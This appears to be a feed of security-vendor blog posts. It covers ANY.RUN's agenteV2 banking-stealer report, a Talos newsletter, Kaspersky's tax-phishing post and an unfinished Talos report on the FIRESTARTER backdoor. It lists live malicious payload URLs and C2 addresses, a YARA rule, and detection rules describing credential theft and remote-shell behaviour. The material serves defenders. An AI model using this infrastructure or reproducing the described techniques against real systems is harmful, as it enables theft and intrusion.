  • Implementation inconsistency (Registry Run value pointing to .py file) suggests the actor has strong Python development skills but limited operational security maturity.  

Detection & Response Recommendations 

1. Immediate Blocking 

  • Block domains odaracani[.]online and nuevaprodeciencia[.]club at DNS/proxy/firewall; 
  • Block IPs 69[.]49.241[.]120 and 38[.]242.246[.]176 at perimeter; 
  • Add JA3 hash a48c0d5f95b1ef98f560f324fd275da1 as a network detection rule (IDS/NDR/EDR); 
  • Block or alert on access to pastebin[.]com/raw/0RmxqY57 and request takedown of the page; 
  • Deploy Suricata SIDs listed in section 6.6. 

2. SIEM Detection Rules 

  • Alert: WScript.exe spawning cmd.exe with ‘schtasks’ + ‘/rl highest’ in command line; 
  • Alert: Any process writing PE files to C:Program Files (x86)Wi-fi; 
  • Alert: Scheduled Task creation with /rl highest by non-SYSTEM processes (Event ID 4698); 
  • Alert: HKCURun key creation by non-installer processes; 
  • Alert: ADODB.Stream + MSXML2.ServerXMLHTTP instantiated in the same WScript.exe process; 
  • Alert: Outbound TLS connections to port 8443 from non-browser processes. 

3. YARA detection rule 

Use YARA rule search in TI Lookup:  

YARA rule in Threat Intelligence Lookup

The rule: 

rule Win_Stealer_AgenteV2_Nuitka { 

meta: 

description = "Core Banker Stealer Nuitka Compiled" 

author = "0xOlympus" 

reference = "Analise de Campanha Judicial" 

date = "2026-03-19" 

severity = "Critical" 


strings: 

// Nuitka Artifcats 

$n1 = "NUITKA_PACKAGE_HOME" ascii 

$n2 = "__nuitka_binary_dir" ascii 

// Strings from report 

$s1 = "agenteV2_historico_detect.dll" ascii wide 

$s2 = "wifi_driver.exe" ascii wide 

$s3 = "reiniciar.exe" ascii wide 

// C2 protocol 

$c2 = "uws://" ascii 

condition: 

uint16(0) == 0x5A4D and (all of ($n*) and 2 of ($s*)) or ($c2) 

}

4. Incident Response Checklist 

Verify the presence of active compromise indicators:

schtasks /query /tn "RunAsAdmin_AutoUpdate" 

schtasks /query /tn "RunAsAdmin_Executar" 

reg query "HKCUSoftwareMicrosoftWindowsCurrentVersionRun" /v MonitorSystem dir "C:Program Files (x86)Wi-fi" 
  • Isolate affected host from network immediately upon detection; 
  • Collect full memory dump of wifi_driver.exe and reiniciar.exe processes before terminating; 
  • Hash all files in C:Program Files (x86)Wi-fi and compare against IOCs in section 6.1; 
  • Assume all browser-saved credentials are compromised reset all banking, email, and crypto account passwords; 
  • Review outbound TLS/8443 traffic in network logs for the past 30 days to assess exfiltration window; 
  • Check browser extension integrity stealer may have modified or added extensions. 

5. Threat Intelligence: TI Feeds & TI Lookup 

Proactive intelligence on this campaign and similar threats can be operationalized using ANY.RUN’s Threat Intelligence suite: 

  • ANY.RUN TI Lookup: Query all IOCs from this report (domains, IPs, file hashes, JA3 fingerprints) directly in TI Lookup to retrieve correlated sandbox verdicts, associated samples, C2 infrastructure mappings, and MITRE ATT&CK tagging across the ANY.RUN corpus. TI Lookup returns structured, analyst-ready context including first-seen/last-seen timestamps, related tasks, and artifact relationships — dramatically accelerating triage. 
  • ANY.RUN TI Feeds: Subscribe to structured IOC feeds to push indicators from this campaign — and the broader Brazilian banking stealer ecosystem — directly into your SIEM, SOAR, EDR, or firewall. Feeds are updated continuously as new samples are analyzed in the sandbox, providing near-real-time coverage of emerging infrastructure and payload variants. 
  • YARA Rules in TI Feeds: The Win_Stealer_AgenteV2_Nuitka YARA rule (section 9.3) can be deployed via ANY.RUN’s TI infrastructure to automatically flag new samples matching the Nuitka agenteV2 pattern as they surface in the wild. 
  • Proactive Monitoring: Use TI Lookup to monitor the Pastebin dead-drop URL (pastebin.com/raw/0RmxqY57) and C2 IP (38.242.246.176) for updates — if the threat actor rotates infrastructure, ANY.RUN’s correlated sandbox data will surface the new indicators before they reach victim endpoints. 

The Business Case for ANY.RUN Enterprise 

Security decision-makers evaluating their defensive posture against threats like agenteV2 face three compounding problems: the attack surface is broad (any employee in Brazil is a potential victim), the time-to-fraud is measured in minutes (not days), and the attacker’s tooling actively resists the tools most organizations currently deploy. The question is not whether a more capable threat intelligence and analysis platform is needed. It is whether the cost of that platform is lower than the cost of a single successful fraud event. 

Based on the capabilities demonstrated in this campaign, the answer is unambiguous. A single successful agenteV2 infection gives an attacker live visibility into an employee’s banking session, the ability to issue commands through a remote shell, and persistence that survives the endpoint until it is explicitly cleaned. The financial exposure from a single operator-assisted fraud event, combined with the credential exfiltration across all browser profiles, will in most cases far exceed the annual cost of enterprise-grade behavioral analysis and threat intelligence. 

ANY.RUN Enterprise Suit addresses each failure mode this campaign is designed to exploit: 

  • Before infectionInteractive Sandbox detonates suspicious email attachments, including password-protected PDFs, with analyst interaction in a fully instrumented Windows environment. The complete 11-stage attack chain surfaces in minutes, before any production endpoint is touched. 
  • During triageTI Lookup delivers instant, correlated intelligence on every IOC in this report (domains, IPs, file hashes, JA3 fingerprints) with MITRE ATT&CK mapping, first/last seen timestamps, and linked sandbox analyses. Triage that takes an analyst hours without context takes seconds with TI Lookup. 
  • At scale and speedTI Feeds push structured, continuously updated IOC streams directly into your SIEM, SOAR, EDR, and firewall, converting sandbox findings into blocking and detection rules automatically, across your entire environment, without analyst intervention per indicator. 
  • Against evasion: Behavioral analysis in ANY.RUN’s sandbox is not defeated by Nuitka compilation, in-memory execution, or filename masquerading. It observes what the malware does, not what it looks like, making it structurally resistant to the obfuscation techniques this campaign relies on. 
  • Against infrastructure rotation: The JA3 TLS fingerprint and behavioral YARA rule in this report remain valid even after the threat actor rotates their C2 IP. ANY.RUN’s TI infrastructure ensures these durable detection signals are operationalized immediately, not after the next campaign wave. 

The agenteV2 operators have invested meaningfully in their tooling. The organizations they target deserve to match that investment — with a platform built for the reality of modern, operator-assisted financial fraud rather than the commodity threats of five years ago. 

Conclusion 

This campaign is a vivid reminder that phishing has outgrown its old role as a simple delivery mechanism. It now acts as a gateway to interactive, real-time financial compromise, where attackers don’t just steal data, they participate in the victim’s actions like an invisible co-pilot with bad intentions. 

For businesses, the risk is no longer limited to credential leakage. When malware enables live screen monitoring, remote command execution, and direct interaction with financial sessions, the impact shifts to immediate financial loss, operational disruption, and reputational damage. Finance teams, executives, and any employees handling sensitive transactions become prime targets. 

Defending against this class of threats requires more than static detection. Organizations need visibility into behavior, speed in investigation, and context for decision-making. 

This is where a combined approach becomes critical: 

  • Interactive Sandbox analysis helps teams understand exactly how a threat behaves before it spreads. 
  • TI Lookup provides instant context, turning isolated indicators into actionable insight. 

Together, these capabilities transform security from reactive firefighting into controlled, informed response. 

In a landscape where attackers operate in real time, businesses must do the same.

About ANY.RUN   

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps security teams investigate threats faster and with greater clarity across modern enterprise environments.   

It allows teams to safely execute suspicious files and URLs, observe real behavior in an Interactive Sandbox, enrich indicators with immediate context through TI Lookup, and monitor emerging malicious infrastructure using Threat Intelligence Feeds. Together, these capabilities help reduce investigation uncertainty, accelerate triage, and limit unnecessary escalations across the SOC.   

ANY.RUN is trusted by thousands of organizations worldwide and meets enterprise security and compliance expectations. It is SOC 2 Type II certified, demonstrating its commitment to protecting customer data and maintaining strong security controls. 

Indicators of Compromise

1. File Hashes

Algorithm Hash File
MD5 285fea57345d838916153c4d8f43ab6c intimacaojudicial.eml (initial sample)
SHA1 8a87d63110eeb782bb621b5f3154ca80bdcf5de7 intimacaojudicial.eml
SHA256 5fd682cdfdf2de867be2a4bd378a2c206370c18a598975a11c99dba121e36b1b intimacaojudicial.eml
ssdeep 768:1wxIS5yHtOJ3GsP80Nbt0m0mxGQd5fiCJxXFAwYNBYT:KkHtbo5+mxbnVr intimacaojudicial.eml
MD5 826d6350724f203b911aa6c8c4626391 agenteV2_historico_detect.dll (core stealer)

Network IOCs

Indicator Type Reputation Role
odaracani.online Domain Malicious Phishing gate per-victim unique tracker
nuevaprodeciencia.club Domain Malicious Payload distribution + C2 checkin endpoint
69.49.241.120 IP Malicious Shared IP for both delivery domains
38.242.246.176 IP Malicious Real C2 server (Contabo VPS, Germany)
vmi3003111.contaboserver.net FQDN Malicious C2 server hostname
172.66.171.73 IP Suspicious Cloudflare proxy for Pastebin not directly malicious
pastebin.com/raw/0RmxqY57 URL Malicious Dead-drop resolver contains plaintext C2 IP:port

Malicious URLs

URL Function
https://odaracani.online/index.php?id=3df947b3 Gate unique per-victim tracking ID
https://nuevaprodeciencia.club/cert.php Redirect chain step 1
https://nuevaprodeciencia.club/cord.php Redirect chain step 2
https://nuevaprodeciencia.club/br77b/download.php Redirect to payload landing
https://nuevaprodeciencia.club/br77b/arquivos/download.php?id_69bb7d47c15e9 Payload landing page
https://nuevaprodeciencia.club/br77b/arquivos/download/base.php?LpHQPCBwX=766760 Configuration / stage data
https://nuevaprodeciencia.club/br77b/arquivos/download/reiniciar.exe Payload: reiniciar.exe (~6.4 MB)
https://nuevaprodeciencia.club/br77b/arquivos/download/msedge03.exe Payload: msedge03.exe
https://nuevaprodeciencia.club/br77b/arquivos/download/msedge04.exe Payload: wifi_driver.exe (served as msedge04.exe)
https://nuevaprodeciencia.club/br77b/iayjaskyeiagds.php C2 initial checkin endpoint (called by VBS loader)
https://pastebin.com/raw/0RmxqY57 Dead-drop resolver C2 IP:port

Host-Based IOCs

Artifact Path / Value Notes
VBS Loader (delivered) C:Users*Downloads124_INTMACAO_.vbs 16,739 bytes obfuscated
VBS Loader (decoded) C:Users*AppDataLocalTemp124_INTMACAO_.vbs 140,302 bytes runtime-expanded
Container binary C:Program Files (x86)Wi-fiwifi_driver.exe 13,177,856 bytes onefile bundle
Secondary container C:Program Files (x86)Wi-fireiniciar.exe 6,685,696 bytes secondary onefile bundle
Core stealer DLL C:Users*AppDataLocalTemponefile_*agenteV2_historico_detect.dll 27 MB MD5: 826d6350724f203b911aa6c8c4626391
Scheduled Task RunAsAdmin_AutoUpdate Executes wifi_driver.exe at logon, /rl highest
Scheduled Task RunAsAdmin_Executar Executes reiniciar.exe at logon, /rl highest
Registry Run HKCUSoftwareMicrosoftWindowsCurrentVersionRunMonitorSystem Value: …ONEFIL~1agenteV2_historico_detect.py
Install directory C:Program Files (x86)Wi-fi Created by malware masquerades as Wi-Fi driver folder

TLS / Network Fingerprints

Type Value Use
JA3 a48c0d5f95b1ef98f560f324fd275da1 Client TLS fingerprint detect agenteV2 regardless of C2 IP rotation
JA3S 15af977ce25de452b96affa2addb1036 Server TLS response fingerprint
JARM 00000000000000000000000000000000000000000000000000000000000000 Cloudflare (Pastebin) not C2 fingerprint

IDS/IPS Signatures (Observed Suricata Alerts)

SID Message Meaning
2022658 ET MALWARE Possible Malicious Macro DL EXE (WinHTTPRequest) EXE download via WinHTTP loader behavior
2029840 ET HUNTING Request for EXE via WinHTTP M1 WinHTTP EXE request pattern
2022896 ET HUNTING SUSPICIOUS Firesale gTLD EXE DL with no Referer EXE from suspicious TLD without Referer
2019822 ET INFO WinHttpRequest Downloading EXE Confirms WinHTTP EXE download
2019823 ET EXPLOIT_KIT WinHttpRequest Downloading EXE Non-Port 80 EXE download on non-standard port
85005610 ET INFO PE EXE or DLL Windows file download HTTP PE file transfer over HTTP

MITRE ATT&CK Mapping

Technique ID Name Tactic Sub-technique Evidence
T1566.001 Phishing: Spearphishing Attachment Initial Access .001 Judicial lure .eml password-protected PDF + VBS download link
T1204.002 User Execution: Malicious File Execution .002 Victim manually runs 0124_INTMACAO_.vbs
T1059.005 Command & Scripting: VBScript Execution .005 WScript.exe executes VBS loader
T1140 Deobfuscate/Decode Files Defense Evasion VBS Base64 obfuscation 8.4x size expansion on decode
T1027 Obfuscated Files or Information Defense Evasion agenteV2 DLL compiled to native code via Nuitka; mypyc aux layer
T1036.005 Masquerading: Match Legit Name Defense Evasion .005 wifi_driver.exe + msedge03/04.exe in C:Program Files (x86)Wi-fi
T1105 Ingress Tool Transfer C2 VBS downloads container EXEs via MSXML2.ServerXMLHTTP + ADODB.Stream
T1053.005 Scheduled Task/Job Persistence / Priv. Esc. .005 RunAsAdmin_AutoUpdate + RunAsAdmin_Executar /sc onlogon /rl highest
T1547.001 Registry Run Keys Persistence .001 HKCURunMonitorSystem → agenteV2_historico_detect.py
T1548.002 Abuse Elevation: Bypass UAC Privilege Escalation .002 VBS re-executes with /elevated /fromtask
T1555.003 Credentials from Browser Credential Access .003 SQLite DB cloning of Chrome/Edge Login Data + Cookies all browser profiles
T1113 Screen Capture Collection PIL + mss libraries continuous JPEG frame streaming over WebSocket to operator
T1059.001 Command & Scripting: PowerShell/Shell Execution .001 Remote shell via CMD:SHELL: prefix parsed from WebSocket dispatched through subprocess.Popen
T1571 Non-Standard Port C2 WebSocket C2 (uws://) over port 8443 non-standard port for WebSocket traffic
T1012 Query Registry Discovery 84,457 registry reads observed in sandbox
T1082 System Information Discovery Discovery psutil + WMI: hostname, UUID, OS version, process list
T1083 File and Directory Discovery Discovery Scans all browser profiles across all user directories
T1057 Process Discovery Discovery psutil enumerates running processes terminates browsers before DB file access
T1518.001 Security Software Discovery Discovery .001 Queries disk paths for Diebold Warsaw and GbPlugin anti-fraud solutions
T1102.001 Web Service: Dead Drop Resolver C2 .001 pastebin.com/raw/0RmxqY57 resolves to real C2 IP:port
T1071.001 App Layer Protocol: WebSocket C2 .001 Persistent uws:// WebSocket connection to 38.242.246.176:8443 bidirectional real-time C2

FAQ

Who is targeted by this campaign?

This campaign targets Brazilian individuals and organizations — anyone who might receive what appears to be an official court summons. The lure is broad (civil conciliation hearing, not targeted spearphishing), meaning any employee in Brazil could be a victim.

My organization doesn’t do banking in Brazil. Should we still care?

Yes. The stealer harvests all browser-saved credentials — not just banking ones — across all Chromium-based browser profiles. Corporate credentials stored in browser password managers (email, SaaS platforms, VPNs, internal portals) are all at risk. Additionally, the malware installs a full remote shell, meaning a successful infection grants the attacker persistent, elevated access to the corporate endpoint regardless of banking activity.

How quickly can an attacker conduct financial fraud after initial infection?

Very quickly. The malware begins beaconing to C2 within approximately 30 seconds of the VBS file being executed. Once the operator’s WebSocket session is established, they can view the victim’s screen in real time. If a banking session is already open in the browser, fraud could occur within minutes. The operator is not automated — they are watching and waiting, which means they will time their intervention to maximize impact (e.g., during an active funds transfer).

We blocked the C2 IP (38.242.246.176). Are we protected?

Partially. Blocking the known C2 IP prevents beaconing to the current infrastructure, but the Pastebin dead-drop resolver means the attacker can rotate to a new IP simply by editing a public Pastebin page — without touching any already-deployed malware. Blocking the specific Pastebin URL (pastebin.com/raw/0RmxqY57) and monitoring for TLS connections to port 8443 from non-browser processes provides more durable protection. The JA3 fingerprint (a48c0d5f95b1ef98f560f324fd275da1) is particularly valuable as it will detect agenteV2’s TLS handshake regardless of IP rotation.

How can ANY.RUN help us detect, investigate, and respond to this threat?

ANY.RUN’s Interactive Sandbox was used to conduct the full dynamic analysis in this report — providing complete visibility into the infection chain, process trees, API traces, network connections, and registry modifications. For ongoing defense: TI Lookup lets analysts query all IOCs from this report for correlated intelligence; TI Feeds push live indicators into your SIEM/SOAR/EDR for automated blocking; and the YARA rule in section 9.3 can be deployed to automatically detect new agenteV2 variants. The Enterprise suite combines all these capabilities in a unified platform designed for security teams that need to investigate and respond at scale.

The post Inside agenteV2: How Brazilian Attackers Use Fake Court Summons to Steal Banking Credentials in Real Time  appeared first on ANY.RUN’s Cybersecurity Blog.

ANY.RUN’s Cybersecurity Blog – ​Read More

GopherWhisper: A burrow full of malware

ESET Research has discovered a new China-aligned APT group that we’ve named GopherWhisper, which targets Mongolian governmental institutions

WeLiveSecurity – ​Read More

It pays to be a forever student

It pays to be a forever student

Welcome to this week’s edition of the Threat Source newsletter. 

If I haven’t said it in a newsletter before, I’ll say it now: If you want to be good at cybersecurity, be a forever student. Cultivating and feeding your desire to know how things work is one of the key ingredients to being a hacker. It’s not always about understanding the micro details, but the macro of how systems work. And not just computers or software or networking systems — those are ecosystems we’re usually quite familiar with — but what about economics? agriculture? material sciences? human behavior? music and art? Do any of those carry any value into this profession? 

They damn sure do. Many, many times I have had to branch my technical research into domains that arbitrarily seem to provide no immediate value for technical problems. Learning how maritime insurance fraud works was interesting to me — and a short time later, led to cyber insurance and understanding how risk guides security investment in massive companies. Understanding international agriculture helped me research threat actor targeting and ransomware cartel victimology. 

One of the topics I’ve been researching heavily lately is economics, specifically industrial organization. It’s a branch of economics that studies how companies structure production, how markets form around them, and how costs operate at scale. For me, the natural target of my curiosity was Ford Motor Company. Henry Ford didn’t invent the car or the assembly line, but he was darn sure able to build and scale car production in a way that set the standard for all others in that space to emulate. I’ve learned about fixed vs. variable costs, how artisans had their knowledge crystalized within the assembly line process, and how and how amortized costs drove down prices, allowing the Ford Model T to exceed 900,000 units annually by the early 1920s. By that time, more than half of the registered automobiles in the world were Fords. Not half of American cars, half of all cars on Earth. 

So what? Well, what took Ford Motor Company 17 years to achieve in cost and ceiling reductions, the AI industry has done in 2.5 years. The rapid and massive influx of investments, fierce competition, and available compute has shown what industrial organization means in a world where AI now almost permeates everything we see and touch. What does this mean for AI replacing jobs? Are we the artisans who move to the frontier of security? What does this mean for enabling threat actors who can move up a step to threatening others with tools developed using an AI corpus already trained on security? There are lots of questions, and to be honest, the future isn’t clear here. One thing is for certain: We can look to the past to understand the future. Henry Ford said it best: “Progress happens when all the factors that make for it are ready, and then it is inevitable.” 

As much as we tend to be myopic as security professionals and focus on our tradecraft, we are all part of a series of interconnected systems that lets humanity function. Learning those systems — their quirks, their limitations, and their vulnerabilities — makes you a better hacker. Stay curious, friends. 

The one big thing 

Cisco Talos Incident Response (Talos IR) is sharing Q1 2026 incident response trends. Phishing has officially reclaimed its crown as the top initial access vector. In a notable first, responders observed adversaries leveraging Softr, an AI-powered web development tool, to rapidly generate credential-harvesting pages. Meanwhile, actual ransomware deployments hit absolute zero this quarter thanks to swift mitigation by Talos IR, though pre-ransomware activity accounted for 18% of engagements this quarter. 

Why do I care? 

The barrier to entry for cybercriminals is plummeting, and they are increasingly using our own tools against us. The use of AI platforms to spin up phishing infrastructure means even unsophisticated actors can launch high-speed, code-free attacks. Furthermore, threat actors are abusing legitimate developer tools like TruffleHog and native cloud APIs to quietly hunt for exposed secrets, making detection incredibly difficult for defenders already struggling with logging gaps. 

So now what? 

It’s time to get back to basics and lock down your perimeter. Organizations must implement properly configured multi-factor authentication (MFA), specifically restricting self-service enrollment to stop attackers from registering new devices. Defenders also need to prioritize robust patch management and ensure centralized logging via a SIEM is in place so forensic evidence remains intact. Read the full blog for a deeper dive into this quarter’s trends and adversary tactics. 

Top security headlines of the week 

Third U.S. security expert admits helping ransomware gang 
According to the Justice Department, Martino abused his role as a ransomware negotiator for five companies by providing the BlackCat/Alphv cybercrime group with information useful in negotiating a ransom payment. (SecurityWeek

22 BRIDGE:BREAK flaws expose thousands of Lantronix and Silex serial-to-IP converters 
Successful exploitation of the flaws could allow attackers to disrupt serial communications with field assets, conduct lateral movement, and tamper with sensor values or modify actuator behavior. (The Hacker News

How hackers “trojan-horsed” QEMU virtual machines to bypass security and drop ransomware 
In recent incidents, attackers used QEMU, an open-source machine emulator and virtualizer, to run hidden environments where malicious activity remained largely invisible to endpoint defenses and left minimal evidence on the host system. (TechRadar

Mastodon says its flagship server was hit by a DDoS attack 
The cyber attack targeting Mastodon comes days after Bluesky, another decentralized social network, resolved much of its days-long outagesfollowing a lengthy DDoS attack. (TechCrunch

Exploits turn Windows Defender into attacker tool 
Threat actors are using three publicly available proof-of-concept exploits (two are unpatched) to attack Microsoft Defender and turn the security platform’s primary cleanup and protection functions against organizations it is designed to protect. (Dark Reading

Can’t get enough Talos? 

Bad Apples: Weaponizing native macOS primitives for movement and execution 
Talos documented several macOS living-off-the-land (LOTL) techniques, demonstrating that native pathways for movement and execution remain accessible to those who understand the underlying architecture. 

AI phishing, fake CAPTCHA, and real-world cyber threat trends 
The Talos team breaks down findings from Q1 2026 — including phishing returning as the top initial access vector, and how attackers are using AI tools to build credential harvesting campaigns in almost no time at all. 

UAT-4356’s targeting of Cisco Firepower devices  
UAT-4356 exploited n-day vulnerabilities (CVE-2025-20333 and CVE-2025-20362) to gain unauthorized access to vulnerable devices, where the threat actor deployed their custom-built backdoor dubbed “FIRESTARTER.” 

Upcoming events where you can find Talos 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
MD5: 2915b3f8b703eb744fc54c81f4a9c67f 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
Example Filename: VID001.exe 
Detection Name: Win.Worm.Coinminer::1201 

SHA256: 96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974 
MD5: aac3165ece2959f39ff98334618d10d9 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974 
Example Filename: d4aa3e7010220ad1b458fac17039c274_63_Exe.exe 
Detection Name: W32.Injector:Gen.21ie.1201 

SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
Example Filename: APQ9305.dll 
Detection Name: Auto.90B145.282358.in02 

SHA256: 5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe 
MD5: a2cf85d22a54e26794cbc7be16840bb1 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe 
Example Filename: a2cf85d22a54e26794cbc7be16840bb1.exe 
Detection Name: W32.5E6060DF7E-100.SBX.TG 

SHA256: 3c1dbc3f56e91cc79f0014850e773a7f12bbfef06680f08f883b2bf12873eccc 
MD5: d749e0f8f2cd4e14178a787571534121 
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=3c1dbc3f56e91cc79f0014850e773a7f12bbfef06680f08f883b2bf12873eccc 
Example Filename: KitchenCanvas_753447.exe 
Detection Name: W32.3C1DBC3F56-90.SBX.TG 

Cisco Talos Blog – ​Read More

Spam and phishing targeting taxpayers | Kaspersky official blog

In many countries, spring is the traditional time for filing income tax returns. These documents are a goldmine for bad actors because they contain a wealth of personal data, such as employment history, income, assets, bank account details — the list goes on. It’s no surprise that scammers ramp up their efforts around this time; the internet is currently crawling with fake websites designed to look exactly like government resources and tax authorities.

With deadlines looming and numbers to crunch, the rush to get everything done in good time can cause people to let their guard down. In the shuffle, it’s easy to miss the signs that the site where you’re detailing your finances has zero connection to the revenue service, or that the file you just downloaded, supposedly from a tax inspector, is actually malware.

In this post, we break down how these fraudulent tax agency sites operate across different countries and what you should absolutely avoid doing to keep your money and sensitive information safe.

Taxpayer phishing

This season, attackers have been spoofing tax authority websites across numerous countries, including the official government portals of Germany, France, Austria, Switzerland, Brazil, Chile, and Colombia. On these fraudulent sites, scammers harvest credentials for legitimate services, and steal personal data before offering to process a tax deduction — provided the victim enters their credit card details. In some cases, they even charge a fee for this fraudulent service.

Fraudulent Chilean tax service website

A site imitating the Chilean tax authority. The victim is prompted to enter their credit card information to receive a substantial tax refund — roughly US$375. Instead, the funds are siphoned from the victim’s account directly to the scammers

Sometimes, the tactic involves accusations issued on behalf of government bodies. In the image below, for example, a “head of tax audit” in Paris informs the victim that they provided incomplete income information. To avoid penalties, the user is told to download a document and make corrections immediately. However, the PDF file hides something much worse: malware.

Spoofed French tax portal (Impots.gouv)

Instead of an official document from the French tax service, the user finds malware waiting inside the PDF

In Colombia, a fake National Directorate of Taxes and Customs site similarly prompts users to download documents that must be “unlocked with a security key”. In reality, this is simply a password-protected, malicious ZIP archive.

Fake website impersonating the Colombian National Directorate of Taxes and Customs

After entering the password, the user opens a malicious archive that infects their device

Beyond phishing sites mimicking legitimate resources, our experts have discovered fraudulent websites promising paid services for filling out and auditing tax documents — and stealing high-value data, such as taxpayer identification numbers (TINs), instead.

Tax-free crypto earnings

Cryptocurrency holders have emerged as a specific target for attackers. Fake German tax authorities are demanding that wallet owners “verify their digital asset holdings”, citing EU regulations for tax calculation purposes. And of course, there’s a “silver lining”: it turns out crypto earnings are supposedly tax-exempt! However, to claim this generous benefit, users must go through a “verification” procedure. The site even promises to encrypt data using a “2048-bit SSL protocol”.

To complete the “verification” process, users are prompted to enter their seed phrase — the unique sequence of words tied to a crypto wallet that grants full recovery access. This request is paired with a threat: refusing to provide the data will lead to serious legal consequences, such as fines up to one million euros or criminal prosecution.

Attackers pulled a similar stunt on French users as well. They created a non-existent “Crypto Tax Compliance Portal”, which mimics the design of the French Ministry of Economy and Finance website. The phishing site aggressively demands that French residents submit a “digital asset declaration”.

After the user enters their personal information, the scammers prompt them to either manually enter their seed phrase, or “link” their crypto wallet to the portal. If they go through with this, their MetaMask, Binance, Coinbase, Trust Wallet, or WalletConnect wallets will be drained.

Can AI help with your tax returns?

When you have AI at your fingertips that can instantly generate text and fill out spreadsheets, there’s a serious temptation to delegate everything to it. Unfortunately, this can lead to  serious consequences. First, all popular chatbots process your data on their servers, which puts your sensitive information at risk of a leak. Second, they sometimes make incredibly foolish mistakes, and that can lead to actual trouble with the taxman.

Before you tell a chatbot or an AI agent how much money you made last year — complete with detailed personal and banking info — remember how frequently leaks occur within AI-powered services and consider the risks. Don’t discuss your income with AI, don’t give it personal details like your name or address, and under no circumstances should you upload photos or numbers of vital documents such as passports, insurance info, or social security numbers. Files containing confidential information should be kept in encrypted containers, such as Kaspersky Password Manager.

If you’re still determined to use AI tools, run them locally. This can be done for free even on a standard laptop, and we’ve previously covered how to set up local language models using DeepSeek as an example. However, the quality of the output from these models is often subpar. It’s quite possible that double-checking every digit in an AI-generated response will take more time than just filling out the paperwork manually. Remember, you’re the one accountable to the tax office for any errors — not the AI.

Finally, watch out for phishing AI models that offer “assistance” with tax filing. Kaspersky experts have discovered websites where users are prompted to upload tax invoices, supposedly for the automated generation of returns and deduction claims. Instead, attackers collect this personal data to resell on the dark web, or to use in future phishing attacks, blackmail, and extortion schemes.

Phishing AI steals data from taxpayers seeking filing assistance

The creators of a fake AI tool prompt users to upload tax documents, and kindly assure them that the site doesn’t store any user data. In reality, every piece of information entered — name, address, documents, contact person, phone number — ends up in the hands of cybercriminals

Remember that all legitimate AI services explicitly warn users not to share confidential data, and tax documents certainly fall into this category. Any AI tools promising to help you handle your tax paperwork are quite simply a scam.

How to protect yourself and your data

  • File your taxes yourself. The risk of running into scammers is extremely high. Even if a consulting firm is legitimate, you’re inevitably handing over a complete dossier on yourself: passport details, employment and income info, your address, and more. Remember that even the most honest services aren’t immune to hacks and data breaches.
  • Watch out for fake websites. Use a reliable security solution that prevents you from visiting phishing sites and blocks malicious file downloads.
  • Keep all important documents encrypted. Storing photos, notes, or files on your desktop, or starred messages in a messaging app isn’t a secure way to handle sensitive data. A secure vault like Kaspersky Password Manager can store more than just passwords and credit card info; it can also safeguard documents and even photos.
  • Don’t trust AI. Even the most advanced chatbots are prone to errors and hallucinations, and in theory, developers can read any conversation you have with their AI. If you absolutely must use AI, install and run a local version on your own computer.
  • Stick to official channels only. The “chief tax inspector” of your country or city is definitely not going to message you: high-ranking officials have more important things to do. Only contact tax authorities through official channels, and carefully verify the sender of any emails you receive. Most often, even a slight deviation in the name or address is a telltale sign of a phishing campaign.

Further reading on phishing and data security:

Kaspersky official blog – ​Read More

UAT-4356’s Targeting of Cisco Firepower Devices

UAT-4356's Targeting of Cisco Firepower Devices

Cisco Talos is aware of UAT-4356‘s continued active targeting of Cisco Firepower devices’ Firepower eXtensible Operating System (FXOS). UAT-4356 exploited n-day vulnerabilities (CVE-2025-20333 and CVE-2025-20362) to gain unauthorized access to vulnerable devices, where the threat actor deployed their custom-built backdoor dubbed “FIRESTARTER.” FIRESTARTER considerably overlaps with the technical capabilities of RayInitiator’s Stage 3 shellcode that processes incoming XML-based payloads to endpoint APIs.

In early 2024, Cisco Talos attributed ArcaneDoor, a state-sponsored campaign focused on gaining access to network perimeter devices for espionage, to UAT-4356.

Customers are advised to refer to Cisco’s Security Advisory for mitigation and detection guidance, indicators of compromise (IOCs), affected products, and applicable software upgrade recommendations.


The FIRESTARTER backdoor

FIRESTARTER is a malicious backdoor implanted by UAT-4356 that allows remote access and control to execute arbitrary code inside the LINA process, a core component of Cisco’s ASA and FTD appliances running FXOS.

Persistence

UAT-4356 established persistence for FIRESTARTER on compromised devices by manipulating the mount list for Cisco Service Platform (CSP), namely “CSP_MOUNT_LIST”, to execute FIRESTARTER. The mount list allows programs and commands to be executed as part of the device’s boot sequence. The persistence mechanism triggers during graceful reboot (i.e., when a process termination signal is received). FIRESTARTER also checks the runlevel for value 6 (indicating device reboot) and in case of a match, writes itself to backup location “/opt/cisco/platform/logs/var/log/svc_samcore.log” and updates the CSP_MOUNT_LIST to copy itself back to “/usr/bin/lina_cs” and then be executed. When FIRESTARTER runs after a reboot, it restores the original CSP_MOUNT_LIST and removes the trojanized copy. Because the runlevel triggers establishment of this transient persistence mechanism, a hard reboot (for example, after the device has been unplugged from power) effectively removes the implant from the device.

FIRESTARTER has used the following commands to establish persistence for itself using the transient persistence mechanism:

UAT-4356's Targeting of Cisco Firepower Devices

When the implant injects itself into the LINA process, it removes the traces of its persistence mechanism by restoring the CSP_MOUNT_LIST from a temporary copy (“CSP_MOUNTLIST.tmp”), then removing the temporary copy and the FIRESTARTER file from disk (“/usr/bin/lina_cs”).

FIRESTARTER’s backdoor capabilities

